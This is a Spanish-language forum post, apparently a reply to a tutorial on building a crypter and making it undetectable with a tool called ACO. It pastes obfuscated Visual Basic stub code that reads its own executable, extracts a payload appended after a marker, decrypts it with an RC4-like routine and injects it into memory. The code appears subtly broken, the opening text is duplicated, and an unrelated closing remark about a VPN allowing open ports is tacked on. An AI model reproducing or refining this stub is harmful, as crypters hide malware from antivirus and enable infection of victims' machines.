Hola:
Muy buen apoerte...pero tengo algunas preguntas:
- al hacer el crypter perfecto..sin problemas...
- al hacer la parte de indetectabilidad, en el ACO, y siguiendo todo el tutorial, no me salen los mismo resultados..siendo el ACO la misma version..esto es lo que me sale despues de usar ACO:
Código: vb
Muy buen apoerte...pero tengo algunas preguntas:
- al hacer el crypter perfecto..sin problemas...
- al hacer la parte de indetectabilidad, en el ACO, y siguiendo todo el tutorial, no me salen los mismo resultados..siendo el ACO la misma version..esto es lo que me sale despues de usar ACO:
Sub main()
Dim YO As String, Datos As String, I667W2xlT() As String
YO = App.Path & "\" & App.EXEName & ".exe"
Open YO For Binary As #1
Datos = Space(b3DTh96r2(1))
Get #1, , Datos
Close #1
I667W2xlT() = Split(Datos, "##$$##")
I667W2xlT(1) = Yb76VyYLv(I667W2xlT(1), "CHEE")
Injec YO, StrConv(I667W2xlT(1), vbFromUnicode)
End Sub
Public Function b3DTh96r2(psB5l6b2z As String) As Double
Dim wzFIdGAqT, hHOOIwXNL As Object
Set wzFIdGAqT = CreateObject("Scripting.FileSystemObject")
Set hHOOIwXNL = wzFIdGAqT.GetFile(psB5l6b2z)
b3DTh96r2 = hHOOIwXNL.Size
End Function
Public Function Yb76VyYLv(ByVal PrXnIAcQO As String, ByVal qfNXLwTex As String) As String
On Error Resume Next
Dim hHOOIwXNL(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(qfNXLwTex, vbFromUnicode)
For X = 0 To 255
Y = (Y + hHOOIwXNL(X) + Key(X Mod Len(qfNXLwTex))) Mod 256
hHOOIwXNL(X) = X
Next X
Key() = StrConv(PrXnIAcQO, vbFromUnicode)
For X = 0 To Len(PrXnIAcQO)
Y = (Y + hHOOIwXNL(Y) + 1) Mod 256
Key(X) = Key(X) Xor hHOOIwXNL(Temp + hHOOIwXNL((Y + hHOOIwXNL(Y)) Mod 254))
Next X
Yb76VyYLv = StrConv(Key, vbUnicode)
End Function
..es mas,yo uso mullvad por 5 € al mes y permite abrir puertos...
